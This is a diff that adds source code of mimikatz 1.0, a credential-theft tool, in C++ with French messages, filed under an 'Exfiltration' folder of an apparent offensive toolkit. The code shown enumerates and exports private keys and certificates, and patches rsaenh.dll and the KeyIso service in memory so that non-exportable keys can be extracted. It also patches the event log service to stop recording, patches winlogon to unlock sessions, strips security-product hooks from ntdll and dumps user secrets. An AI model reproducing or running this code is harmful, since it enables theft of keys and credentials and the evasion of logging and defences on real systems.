+ (*outputStream) << L"Erreur d\'arguments, attendu : [machine] [provider providerType]" << endl;
+ return;
+ }
+
+
+ wstring type = (isMachine ? L"machine" : L"user");
+
+ vector<wstring> * monVectorKeys = new vector<wstring>();
+
+ /* CryptoAPI */
+ (*outputStream) << L"[" << type << L"] Clés CryptoAPI :" << endl;
+ if(mod_cryptoapi::getVectorContainers(monVectorKeys, isMachine))
+ {
+ DWORD i;
+ vector<wstring>::iterator monContainer;
+ for(i = 0, monContainer = monVectorKeys->begin(); monContainer != monVectorKeys->end(); monContainer++, i++)
+ {
+ (*outputStream) << L"\t - " << *monContainer << endl;
+
+ HCRYPTPROV hCryptKeyProv = NULL;
+ if(CryptAcquireContext(&hCryptKeyProv, monContainer->c_str(), provider.c_str(), providerType, NULL | (isMachine ? CRYPT_MACHINE_KEYSET : NULL)))
+ {
+ HCRYPTKEY maCle = NULL;
+ for(DWORD ks = AT_KEYEXCHANGE; (ks <= AT_SIGNATURE) && !maCle; ks++)
+ {
+ if(CryptGetUserKey(hCryptKeyProv, ks, &maCle))
+ {
+ (*outputStream) << L"\t\tType : " << mod_crypto::KeyTypeToString(ks) << endl;
+ DWORD param = 0, taille = sizeof(param);
+ if(CryptGetKeyParam(maCle, KP_PERMISSIONS, reinterpret_cast<BYTE *>(&param), &taille, NULL))
+ (*outputStream) << L"\t\tExportabilité : " << (param & CRYPT_EXPORT ? L"OUI" : L"NON") << endl;
+ if(CryptGetKeyParam(maCle, KP_KEYLEN, reinterpret_cast<BYTE *>(&param), &taille, NULL))
+ (*outputStream) << L"\t\tTaille clé : " << param << endl;
+
+ if(exportKeys)
+ {
+ bool reussite = false;
+ BYTE * monExport = NULL;
+ DWORD tailleExport = 0;
+
+ wstringstream monBuff;
+ wstring containerName = *monContainer;
+ sanitizeFileName(&containerName);
+
+ monBuff << L"capi_" << type << L'_' << i << L'_' << containerName << L".pvk";
+
+ if(mod_cryptoapi::getPrivateKey(maCle, &monExport, &tailleExport))
+ {
+ reussite = mod_crypto::PrivateKeyBlobToPVK(monExport, tailleExport, monBuff.str(), ks);
+ delete[] monExport;
+ }
+
+ (*outputStream) << L"\t\tExport privé dans \'" << monBuff.str() << L"\' : " << (reussite ? L"OK" : L"KO") << endl;
+ if(!reussite)
+ {
+ (*outputStream) << L"\t\t\tmod_cryptoapi::getPrivateKey/PrivateKeyBlobToPVK : " << mod_system::getWinError() << endl;
+ }
+ }
+ }
+ }
+
+ if(maCle)
+ CryptDestroyKey(maCle);
+ else
+ (*outputStream) << L"\t\t* Erreur de clé ; " << mod_system::getWinError() << endl;
+
+
+ CryptReleaseContext(hCryptKeyProv, 0);
+ }
+ else (*outputStream) << L"\t\t* Erreur d\'acquisition de la clé ; " << mod_system::getWinError() << endl;
+ }
+ }
+ else (*outputStream) << L"mod_cryptoapi::getVectorContainers : " << mod_system::getWinError() << endl;
+
+ /* CryptoNG */
+ if(mod_cryptong::isNcrypt)
+ {
+ (*outputStream) << endl;
+ monVectorKeys->clear();
+
+ (*outputStream) << L"[" << type << L"] Clés CNG :" << endl;
+ if(mod_cryptong::getVectorContainers(monVectorKeys, isMachine))
+ {
+ DWORD i;
+ vector<wstring>::iterator monContainer;
+ for(i = 0, monContainer = monVectorKeys->begin(); monContainer != monVectorKeys->end(); monContainer++, i++)
+ {
+ (*outputStream) << L"\t - " << *monContainer << endl;
+
+ NCRYPT_KEY_HANDLE maCle;
+ if(mod_cryptong::getHKeyFromName(*monContainer, &maCle, isMachine))
+ {
+ bool exportable = false;
+ DWORD size = 0;
+
+ if(mod_cryptong::isKeyExportable(&maCle, &exportable))
+ (*outputStream) << L"\t\tExportabilité : " << (exportable ? L"OUI" : L"NON") << endl;
+ if(mod_cryptong::getKeySize(&maCle, &size))
+ (*outputStream) << L"\t\tTaille clé : " << size << endl;
+
+ if(exportKeys)
+ {
+ bool reussite = false;
+ BYTE * monExport = NULL;
+ DWORD tailleExport = 0;
+
+ wstringstream monBuff;
+ monBuff << L"cng_" << type << L'_' << i << L'_' << *monContainer << L".pvk";
+
+ if(mod_cryptong::getPrivateKey(maCle, &monExport, &tailleExport))
+ {
+ reussite = mod_crypto::PrivateKeyBlobToPVK(monExport, tailleExport, monBuff.str());
+ delete[] monExport;
+ }
+
+ (*outputStream) << L"\t\tExport privé dans \'" << monBuff.str() << L"\' : " << (reussite ? L"OK" : L"KO") << endl;
+ if(!reussite)
+ {
+ (*outputStream) << L"\t\t\tmod_cryptong::getPrivateKey/PrivateKeyBlobToPVK : " << mod_system::getWinError() << endl;
+ }
+ }
+ mod_cryptong::NCryptFreeObject(maCle);
+ }
+ }
+ }
+ else (*outputStream) << L"mod_cryptong::getVectorContainers : " << mod_system::getWinError() << endl;
+ }
+
+ delete monVectorKeys;
+}
+
+
+void mod_mimikatz_crypto::listAndOrExportCertificates(vector<wstring> * arguments, bool exportCert)
+{
+ wstring monEmplacement = L"CERT_SYSTEM_STORE_CURRENT_USER";
+ wstring monStore = L"My";
+
+ if(arguments->size() == 1)
+ {
+ monEmplacement = arguments->front();
+ }
+ else if(arguments->size() == 2)
+ {
+ monEmplacement = arguments->front();
+ monStore = arguments->back();
+ }
+
+ (*outputStream) << L"Emplacement : \'" << monEmplacement << L'\'';
+
+ DWORD systemStore;
+ if(mod_crypto::getSystemStoreFromString(monEmplacement, &systemStore))
+ {
+ (*outputStream) << L"\\" << monStore << endl;
+ if(HCERTSTORE hCertificateStore = CertOpenStore(CERT_STORE_PROV_SYSTEM, NULL, NULL, systemStore | CERT_STORE_OPEN_EXISTING_FLAG | CERT_STORE_READONLY_FLAG, monStore.c_str()))
+ {
+ DWORD i;
+ PCCERT_CONTEXT pCertContext;
+ for (i = 0, pCertContext = CertEnumCertificatesInStore(hCertificateStore, NULL); pCertContext != NULL; pCertContext = CertEnumCertificatesInStore(hCertificateStore, pCertContext), i++)
+ {
+ wstring * certName = new wstring();
+ bool reussite = false;
+
+ if(!mod_crypto::getCertNameFromCertCTX(pCertContext, certName))
+ certName->assign(L"[empty]");
+
+ (*outputStream) << L"\t - " << *certName << endl;;
+ sanitizeFileName(certName);
+
+ wstringstream monBuff;
+ monBuff << monEmplacement << L'_' << monStore << L'_' << i << L'_' << *certName << L'.';
+
+ mod_crypto::KIWI_KEY_PROV_INFO keyProvInfo;
+ if(mod_crypto::getKiwiKeyProvInfo(pCertContext, &keyProvInfo))
+ {
+ (*outputStream) << L"\t\tContainer Clé : " << keyProvInfo.pwszContainerName << endl;
+ (*outputStream) << L"\t\tProvider : " << keyProvInfo.pwszProvName << endl;
+
+ HCRYPTPROV_OR_NCRYPT_KEY_HANDLE monProv = NULL;
+ DWORD keySpec = 0;
+ BOOL aFermer = false;
+
+ if(CryptAcquireCertificatePrivateKey(pCertContext, CRYPT_ACQUIRE_ALLOW_NCRYPT_KEY_FLAG /* CRYPT_ACQUIRE_SILENT_FLAG NULL */, NULL, &monProv, &keySpec, &aFermer))
+ {
+ (*outputStream) << L"\t\tType : " << mod_crypto::KeyTypeToString(keySpec) << endl;
+
+ DWORD size = 0;
+ bool exportable = false;
+
+ if(keySpec == CERT_NCRYPT_KEY_SPEC)
+ {
+ if(mod_cryptong::isNcrypt)
+ {
+ reussite = mod_cryptong::getKeySize(&monProv, &size);
+ reussite &=mod_cryptong::isKeyExportable(&monProv, &exportable);
+
+ if(aFermer)
+ {
+ mod_cryptong::NCryptFreeObject(monProv);
+ }
+ }
+ else (*outputStream) << L"\t\t\tErreur : Clé de type nCrypt, sans nCrypt ?" << endl;
+ }
+ else
+ {
+ DWORD tailleEcrite = 0;
+ DWORD exportability;
+
+ HCRYPTKEY maCle = NULL;
+ if(reussite = (CryptGetUserKey(monProv, keySpec, &maCle) != 0))
+ {
+ tailleEcrite = sizeof(DWORD);
+ reussite = (CryptGetKeyParam(maCle, KP_KEYLEN, reinterpret_cast<BYTE *>(&size), &tailleEcrite, NULL) != 0);
+ tailleEcrite = sizeof(DWORD);
+ reussite &= (CryptGetKeyParam(maCle, KP_PERMISSIONS, reinterpret_cast<BYTE *>(&exportability), &tailleEcrite, NULL) != 0);
+ exportable = (exportability & CRYPT_EXPORT) != 0;
+ }
+
+ if(aFermer)
+ {
+ CryptReleaseContext(monProv, 0);
+ }
+ }
+ if(reussite)
+ {
+ (*outputStream) << L"\t\tExportabilité : " << (exportable ? L"OUI" : L"NON") << endl;
+ (*outputStream) << L"\t\tTaille clé : " << size << endl;
+ }
+
+ if(exportCert)
+ {
+ wstring PFXFile = monBuff.str();
+ PFXFile.append(L"pfx");
+
+ reussite = mod_crypto::CertCTXtoPFX(pCertContext, PFXFile, L"mimikatz");
+
+ (*outputStream) << L"\t\tExport privé dans \'" << PFXFile << L"\' : " << (reussite ? L"OK" : L"KO") << endl;
+ if(!reussite)
+ {
+ (*outputStream) << L"\t\t\t" << mod_system::getWinError() << endl;
+ }
+ }
+ }
+ else (*outputStream) << L"CryptAcquireCertificatePrivateKey : " << mod_system::getWinError() << endl;
+ }
+
+ if(exportCert)
+ {
+ wstring DERFile = monBuff.str();
+ DERFile.append(L"der");
+
+ reussite = mod_crypto::CertCTXtoDER(pCertContext, DERFile);
+
+ (*outputStream) << L"\t\tExport public dans \'" << DERFile << L"\' : " << (reussite ? L"OK" : L"KO") << endl;
+ if(!reussite)
+ {
+ (*outputStream) << L"\t\t\t" << mod_system::getWinError() << endl;
+ }
+ }
+ delete certName;
+ }
+ CertCloseStore(hCertificateStore, CERT_CLOSE_STORE_FORCE_FLAG);
+ }
+ else (*outputStream) << L"CertOpenStore : " << mod_system::getWinError() << endl;
+ }
+ else (*outputStream) << L" introuvable !" << endl;
+}
+
+
+bool mod_mimikatz_crypto::patchcapi(vector<wstring> * arguments)
+{
+ wchar_t LIBNAME_WALL_RSA[] = L"rsaenh.dll";
+ char FUNCNAM_WALL_EXPORT[] = "CPExportKey";
+#ifdef _M_X64
+ BYTE PTRN_WIN5_CPExportKey_4001[] = {0x0c, 0x01, 0x40, 0x00, 0x00, 0x75};
+ BYTE PTRN_WIN5_CPExportKey_4000[] = {0x0c, 0x0e, 0x72};
+ BYTE PATC_WIN5_CPExportKey_EXPORT[] = {0xeb};
+ LONG OFFS_WIN5_CPExportKey_4001_EXPORT = -4;
+ LONG OFFS_WIN5_CPExportKey_4000_EXPORT = -5;
+
+ BYTE PTRN_W6AL_CPExportKey_4001[] = {0x0c, 0x01, 0x40, 0x00, 0x00, 0x0f, 0x85};
+ BYTE PTRN_WIN6_CPExportKey_4000[] = {0x0c, 0x0e, 0x0f, 0x82};
+ BYTE PTRN_WIN8_CPExportKey_4000[] = {0x0c, 0x00, 0x40, 0x00, 0x00, 0x0f, 0x85};
+ BYTE PATC_W6AL_CPExportKey_EXPORT[] = {0x90, 0xe9};
+ LONG OFFS_W6AL_CPExportKey_EXPORT = 5;
+ LONG OFFS_WIN6_CPExportKey_4000_EXPORT = 2;
+#elif defined _M_IX86
+ BYTE PTRN_WIN5_CPExportKey_4001[] = {0x08, 0x01, 0x40, 0x75};
+ BYTE PTRN_WIN5_CPExportKey_4000[] = {0x09, 0x40, 0x0f, 0x84};
+ BYTE PATC_WIN5_CPExportKey_EXPORT[] = {0xeb};
+ LONG OFFS_WIN5_CPExportKey_4001_EXPORT = -5;
+ LONG OFFS_WIN5_CPExportKey_4000_EXPORT = -7;
+
+ BYTE PTRN_WI60_CPExportKey_4001[] = {0x08, 0x01, 0x40, 0x0f, 0x85};
+ BYTE PTRN_WIN6_CPExportKey_4001[] = {0x08, 0x01, 0x40, 0x00, 0x00, 0x0f, 0x85};
+ BYTE PTRN_WI60_CPExportKey_4000[] = {0x08, 0x00, 0x40, 0x0f, 0x85};
+ BYTE PTRN_WIN6_CPExportKey_4000[] = {0x08, 0x00, 0x40, 0x00, 0x00, 0x0f, 0x85};
+ BYTE PATC_W6AL_CPExportKey_EXPORT[] = {0x90, 0xe9};
+ LONG OFFS_WI60_CPExportKey_EXPORT = 3;
+ LONG OFFS_WIN6_CPExportKey_EXPORT = 5;
+#endif
+
+ PBYTE ptr4001 = NULL; PBYTE pattern4001 = NULL; ULONG taillePattern4001 = 0; PBYTE patch4001 = NULL; ULONG taillePatch4001 = 0; LONG offsetPatch4001 = 0;
+ PBYTE ptr4000 = NULL; PBYTE pattern4000 = NULL; ULONG taillePattern4000 = 0; PBYTE patch4000 = NULL; ULONG taillePatch4000 = 0; LONG offsetPatch4000 = 0;
+
+ if(mod_system::GLOB_Version.dwMajorVersion < 6)
+ {
+ pattern4001 = PTRN_WIN5_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_WIN5_CPExportKey_4001);
+ pattern4000 = PTRN_WIN5_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN5_CPExportKey_4000);
+ patch4001 = patch4000 = PATC_WIN5_CPExportKey_EXPORT; taillePatch4001 = taillePatch4000 = sizeof(PATC_WIN5_CPExportKey_EXPORT);
+ offsetPatch4001 = OFFS_WIN5_CPExportKey_4001_EXPORT;
+ offsetPatch4000 = OFFS_WIN5_CPExportKey_4000_EXPORT;
+ }
+ else
+ {
+#ifdef _M_X64
+ pattern4001 = PTRN_W6AL_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_W6AL_CPExportKey_4001);
+ patch4001 = patch4000 = PATC_W6AL_CPExportKey_EXPORT; taillePatch4001 = taillePatch4000 = sizeof(PATC_W6AL_CPExportKey_EXPORT);
+ offsetPatch4001 = OFFS_W6AL_CPExportKey_EXPORT;
+ if(mod_system::GLOB_Version.dwBuildNumber < 8000)
+ {
+ pattern4000 = PTRN_WIN6_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN6_CPExportKey_4000);
+ offsetPatch4000 = OFFS_WIN6_CPExportKey_4000_EXPORT;
+ }
+ else
+ {
+ pattern4000 = PTRN_WIN8_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN8_CPExportKey_4000);
+ offsetPatch4000 = OFFS_W6AL_CPExportKey_EXPORT;
+ }
+#elif defined _M_IX86
+ patch4001 = patch4000 = PATC_W6AL_CPExportKey_EXPORT; taillePatch4001 = taillePatch4000 = sizeof(PATC_W6AL_CPExportKey_EXPORT);
+ if(mod_system::GLOB_Version.dwMinorVersion < 1)
+ {
+ pattern4001 = PTRN_WI60_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_WI60_CPExportKey_4001);
+ pattern4000 = PTRN_WI60_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WI60_CPExportKey_4000);
+ offsetPatch4001 = offsetPatch4000 = OFFS_WI60_CPExportKey_EXPORT;
+ }
+ else
+ {
+ pattern4001 = PTRN_WIN6_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_WIN6_CPExportKey_4001);
+ pattern4000 = PTRN_WIN6_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN6_CPExportKey_4000);
+ offsetPatch4001 = offsetPatch4000 = OFFS_WIN6_CPExportKey_EXPORT;
+ }
+#endif
+ }
+
+ if(HMODULE hRSA = LoadLibrary(LIBNAME_WALL_RSA))
+ {
+ if( mod_memory::genericPatternSearch(&ptr4001, LIBNAME_WALL_RSA, pattern4001, taillePattern4001, offsetPatch4001, FUNCNAM_WALL_EXPORT, true, true) &&
+ mod_memory::genericPatternSearch(&ptr4000, LIBNAME_WALL_RSA, pattern4000, taillePattern4000, offsetPatch4000, FUNCNAM_WALL_EXPORT, true, true))
+ {
+ (*outputStream) << L"Patterns CRYPT_EXPORTABLE | CRYPT_ARCHIVABLE et CRYPT_ARCHIVABLE trouvés !" << endl <<
+ L"Patch CRYPT_EXPORTABLE | CRYPT_ARCHIVABLE : " << (mod_memory::writeMemory(ptr4001, patch4001, taillePatch4001) ? L"OK" : L"KO") << endl <<
+ L"Patch CRYPT_ARCHIVABLE : " << (mod_memory::writeMemory(ptr4000, patch4000, taillePatch4000) ? L"OK" : L"KO") << endl;
+ }
+ FreeLibrary(hRSA);
+ }
+ return true;
+}
+
+bool mod_mimikatz_crypto::patchcng(vector<wstring> * arguments)
+{
+ wchar_t LIBNAME_WNO8_NCrypt[] = L"ncrypt.dll";
+ wchar_t LIBNAME_WIN8_NCrypt[] = L"ncryptprov.dll";
+#ifdef _M_X64
+ BYTE PTRN_WNO8_SPCryptExportKey[] = {0xf6, 0x43, 0x28, 0x02, 0x75};
+ BYTE PTRN_WIN8_SPCryptExportKey[] = {0xf6, 0x43, 0x24, 0x02, 0x75};
+ BYTE PTRN_WI60_SPCryptExportKey[] = {0xf6, 0x43, 0x28, 0x02, 0x0f, 0x85};
+
+ BYTE PATC_WI60_SPCryptExportKey_EXPORT[] = {0x90, 0xe9};
+ BYTE PATC_WI60_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xeb};
+ BYTE PATC_WALL_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xeb};
+#elif defined _M_IX86
+ BYTE PTRN_WNO8_SPCryptExportKey[] = {0xf6, 0x41, 0x20, 0x02, 0x75};
+ BYTE PTRN_WIN8_SPCryptExportKey[] = {0xf6, 0x47, 0x1c, 0x02, 0x75};
+
+ BYTE PATC_WNO8_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0xeb};
+ BYTE PATC_WIN8_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xeb};
+#endif
+ BYTE PATC_WALL_SPCryptExportKey_EXPORT[] = {0xeb};
+ LONG OFFS_WALL_SPCryptExportKey_EXPORT = 4;
+
+ if(mod_cryptong::isNcrypt)
+ {
+ if(mod_cryptong::justInitCNG())
+ {
+ wchar_t * libName; PBYTE pattern = NULL; ULONG taillePattern = 0; PBYTE patch = NULL; ULONG taillePatch = 0; LONG offsetPatch = 0;
+
+ if(mod_system::GLOB_Version.dwBuildNumber < 8000)
+ {
+#ifdef _M_X64
+ if(mod_system::GLOB_Version.dwMinorVersion < 1)
+ {
+ pattern = PTRN_WI60_SPCryptExportKey;
+ taillePattern = sizeof(PTRN_WI60_SPCryptExportKey);
+ }
+ else
+ {
+#endif
+ pattern = PTRN_WNO8_SPCryptExportKey;
+ taillePattern = sizeof(PTRN_WNO8_SPCryptExportKey);
+#ifdef _M_X64
+ }
+#endif
+ libName = LIBNAME_WNO8_NCrypt;
+ }
+ else
+ {
+ pattern = PTRN_WIN8_SPCryptExportKey;
+ taillePattern = sizeof(PTRN_WIN8_SPCryptExportKey);
+ libName = LIBNAME_WIN8_NCrypt;
+ }
+
+ if(arguments->empty())
+ {
+#ifdef _M_X64
+ if(mod_system::GLOB_Version.dwMinorVersion < 1)
+ {
+ patch = PATC_WI60_SPCryptExportKey_EXPORT;
+ taillePatch = sizeof(PATC_WI60_SPCryptExportKey_EXPORT);
+ }
+ else
+ {
+#endif
+ patch = PATC_WALL_SPCryptExportKey_EXPORT;
+ taillePatch = sizeof(PATC_WALL_SPCryptExportKey_EXPORT);
+#ifdef _M_X64
+ }
+#endif
+ }
+ else
+ {
+#ifdef _M_X64
+ if(mod_system::GLOB_Version.dwMinorVersion < 1)
+ {
+ patch = PATC_WI60_SPCryptExportKey_NOEXPORT;
+ taillePatch = sizeof(PATC_WI60_SPCryptExportKey_NOEXPORT);
+ }
+ else
+ {
+ patch = PATC_WALL_SPCryptExportKey_NOEXPORT;
+ taillePatch = sizeof(PATC_WALL_SPCryptExportKey_NOEXPORT);
+ }
+#elif defined _M_IX86
+ if(mod_system::GLOB_Version.dwBuildNumber < 8000)
+ {
+ patch = PATC_WNO8_SPCryptExportKey_NOEXPORT;
+ taillePatch = sizeof(PATC_WNO8_SPCryptExportKey_NOEXPORT);
+ }
+ else
+ {
+ patch = PATC_WIN8_SPCryptExportKey_NOEXPORT;
+ taillePatch = sizeof(PATC_WIN8_SPCryptExportKey_NOEXPORT);
+ }
+#endif
+ }
+ offsetPatch = OFFS_WALL_SPCryptExportKey_EXPORT;
+
+ mod_patch::patchModuleOfService(L"KeyIso", libName, pattern, taillePattern, patch, taillePatch, offsetPatch);
+ }
+ else (*outputStream) << L"Impossible d\'initialiser la CNG : " << mod_system::getWinError() << endl;
+ }
+ else (*outputStream) << L"Pas de CNG ?" << endl;
+
+ return true;
+}
+
+void mod_mimikatz_crypto::sanitizeFileName(wstring * fileName)
+{
+ wchar_t monTab[] = {L'\\', L'/', L':', L'*', L'?', L'\"', L'<', L'>', L'|'};
+ for(wstring::iterator monIterateur = fileName->begin(); monIterateur != fileName->end(); monIterateur++)
+ {
+ for(ULONG i = 0; i < sizeof(monTab) / sizeof(wchar_t); i++)
+ {
+ if(*monIterateur == monTab[i])
+ {
+ *monIterateur = L'~';
+ break;
+ }
+ }
+ }
+}
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.h
new file mode 100644
index 0000000..7d81c07
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.h
@@ -0,0 +1,36 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "globdefs.h"
+#include "mod_cryptoapi.h"
+#include "mod_cryptong.h"
+#include "mod_crypto.h"
+#include "mod_process.h"
+#include "mod_patch.h"
+#include <iostream>
+#include <sstream>
+
+class mod_mimikatz_crypto
+{
+private:
+ static void sanitizeFileName(wstring * fileName);
+ static void listAndOrExportCertificates(vector<wstring> * arguments, bool exportCert = false);
+ static void listAndOrExportKeys(vector<wstring> * arguments, bool exportKeys = false);
+public:
+ static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
+
+ static bool listProviders(vector<wstring> * arguments);
+ static bool listStores(vector<wstring> * arguments);
+ static bool listKeys(vector<wstring> * arguments);
+ static bool listCertificates(vector<wstring> * arguments);
+
+ static bool exportCertificates(vector<wstring> * arguments);
+ static bool exportKeys(vector<wstring> * arguments);
+
+ static bool patchcapi(vector<wstring> * arguments);
+ static bool patchcng(vector<wstring> * arguments);
+};
+
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.cpp
new file mode 100644
index 0000000..019644d
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.cpp
@@ -0,0 +1,306 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_mimikatz_divers.h"
+
+vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_divers::getMimiKatzCommands()
+{
+ vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(noroutemon, L"noroutemon", L"[experimental] Patch Juniper Network Connect pour ne plus superviser la table de routage"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(eventdrop, L"eventdrop", L"[super experimental] Patch l\'observateur d\'événements pour ne plus rien enregistrer"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(cancelator, L"cancelator", L"Patch le bouton annuler de Windows XP et 2003 en console pour déverrouiller une session"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(secrets, L"secrets", L"Affiche les secrets utilisateur"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(nodetour, L":nodetour", L"Anti-détours SR"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(pitme, L":pitme", L"Déchiffre les fichiers PIT (Quest vWorkspace Client)"));
+ return monVector;
+}
+
+bool mod_mimikatz_divers::nodetour(vector<wstring> * arguments)
+{
+ vector<mod_patch::OS> mesOS;
+ mesOS.push_back(mod_patch::WINDOWS_2003_____x64);
+ mesOS.push_back(mod_patch::WINDOWS_VISTA____x64);
+ mesOS.push_back(mod_patch::WINDOWS_2008_____x64);
+ mesOS.push_back(mod_patch::WINDOWS_SEVEN____x64);
+ mesOS.push_back(mod_patch::WINDOWS_2008r2___x64);
+
+ if(mod_patch::checkVersion(&mesOS))
+ {
+ BYTE monSysEnterRetn[] = {0x0f, 0x05, 0xc3};
+ BYTE monDetouredStub[] = {0x90, 0x90, 0xe9};
+
+ PBYTE monNTDLLptr = reinterpret_cast<PBYTE>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtOpenProcess"));
+ if(memcmp(monNTDLLptr + 8, monDetouredStub, sizeof(monDetouredStub)) == 0)
+ {
+ (*outputStream) << L"Détour trouvé et ";
+ if(mod_memory::writeMemory(monNTDLLptr + 8 + sizeof(monDetouredStub) + sizeof(LONG) + *reinterpret_cast<PLONG>(monNTDLLptr + 8 + sizeof(monDetouredStub)), monSysEnterRetn, sizeof(monSysEnterRetn)))
+ (*outputStream) << L"patché :)";
+ else
+ (*outputStream) << L"NON patché :(";
+ (*outputStream) << endl;
+ }
+ else
+ (*outputStream) << L"Détour non trouvé" << endl;
+ }
+ return true;
+}
+
+
+bool mod_mimikatz_divers::cancelator(vector<wstring> * arguments)
+{
+ vector<mod_patch::OS> mesOS;
+ mesOS.push_back(mod_patch::WINDOWS_XP_PRO___x86);
+ mesOS.push_back(mod_patch::WINDOWS_2003_____x86);
+
+ if(mod_patch::checkVersion(&mesOS))
+ {
+ BYTE patternCMPJMP[] = {0xff, 0xff, 0xff, 0x83, 0xff, 0x02, 0x0f, 0x84};
+ BYTE patternNOP[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
+ long offsetCibleNOP = 3;
+
+ vector<mod_process::KIWI_PROCESSENTRY32> * mesProcesses = new vector<mod_process::KIWI_PROCESSENTRY32>();
+ wstring processName = L"winlogon.exe";
+
+ if(mod_process::getList(mesProcesses, &processName))
+ {
+ for(vector<mod_process::KIWI_PROCESSENTRY32>::iterator leProcess = mesProcesses->begin(); leProcess != mesProcesses->end(); leProcess++)
+ {
+ mod_patch::patchModuleOfPID(leProcess->th32ProcessID, L"", patternCMPJMP, sizeof(patternCMPJMP), patternNOP, sizeof(patternNOP), offsetCibleNOP);
+ }
+ }
+
+ delete mesProcesses;
+ }
+ return true;
+}
+
+
+bool mod_mimikatz_divers::noroutemon(vector<wstring> * arguments)
+{
+ //BYTE patternTestRouteMon[] = {0x83, 0xec, 0x1c, 0x55, 0x8b, 0xe9}; // 7.0 // 83 ec 1c 55 8b e9
+ BYTE patternTestRouteMon[] = {0x83, 0xec, 0x14, 0x53, 0x8b, 0xd9}; // 7.1 // 83 ec 14 53 8b d9
+ BYTE patternNoTestRouteMon[] = {0xb0, 0x01, 0xc2, 0x04, 0x00};
+
+ mod_patch::patchModuleOfService(L"dsNcService", L"", patternTestRouteMon, sizeof(patternTestRouteMon), patternNoTestRouteMon, sizeof(patternNoTestRouteMon));
+ return true;
+}
+
+bool mod_mimikatz_divers::eventdrop(vector<wstring> * arguments)
+{
+ wchar_t LIBNAME_WNT5_EVTLOG[] = L"eventlog.dll";
+ wchar_t LIBNAME_WNT6_EVTLOG[] = L"wevtsvc.dll";
+#ifdef _M_X64
+ BYTE PTRN_WNT5_PerformWriteRequest[] = {0x49, 0x89, 0x5b, 0x10, 0x49, 0x89, 0x73, 0x18};
+ LONG OFFS_WNT5_PerformWriteRequest = -10;
+ BYTE PATC_WNT5_PerformWriteRequest[] = {0x45, 0x33, 0xed, 0xc3};
+
+ BYTE PTRN_WN60_Channel__ActualProcessEvent[] = {0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xf9, 0x48, 0x8b, 0xca, 0x48, 0x8b, 0xda, 0xe8};
+ LONG OFFS_WN60_Channel__ActualProcessEvent = 0;
+ BYTE PATC_WN62_Channel__ActualProcessEvent[] = {0xff, 0xf7, 0x48, 0x83, 0xec, 0x50, 0x48, 0xc7, 0x44, 0x24, 0x20, 0xfe, 0xff, 0xff, 0xff, 0x48, 0x89, 0x5c, 0x24, 0x60, 0x48, 0x8b, 0xda, 0x48, 0x8b, 0xf9, 0x48, 0x8b, 0xca, 0xe8};
+ LONG OFFS_WN62_Channel__ActualProcessEvent = 0;
+
+ BYTE PATC_WNT6_Channel__ActualProcessEvent[] = {0xc3};
+#elif defined _M_IX86
+ BYTE PTRN_WNT5_PerformWriteRequest[] = {0x89, 0x45, 0xe4, 0x8b, 0x7d, 0x08, 0x89, 0x7d};
+ LONG OFFS_WNT5_PerformWriteRequest = -20;
+ BYTE PATC_WNT5_PerformWriteRequest[] = {0x33, 0xc0, 0xc2, 0x04, 0x00};
+
+ BYTE PTRN_WN60_Channel__ActualProcessEvent[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x56, 0x8b, 0xf1, 0x8b, 0x4d, 0x08, 0xe8};
+ LONG OFFS_WN60_Channel__ActualProcessEvent = 0;
+ BYTE PATC_WN61_Channel__ActualProcessEvent[] = {0x8b, 0xf1, 0x8b, 0x4d, 0x08, 0xe8};
+ LONG OFFS_WN61_Channel__ActualProcessEvent = -(5 + 5 + 2);
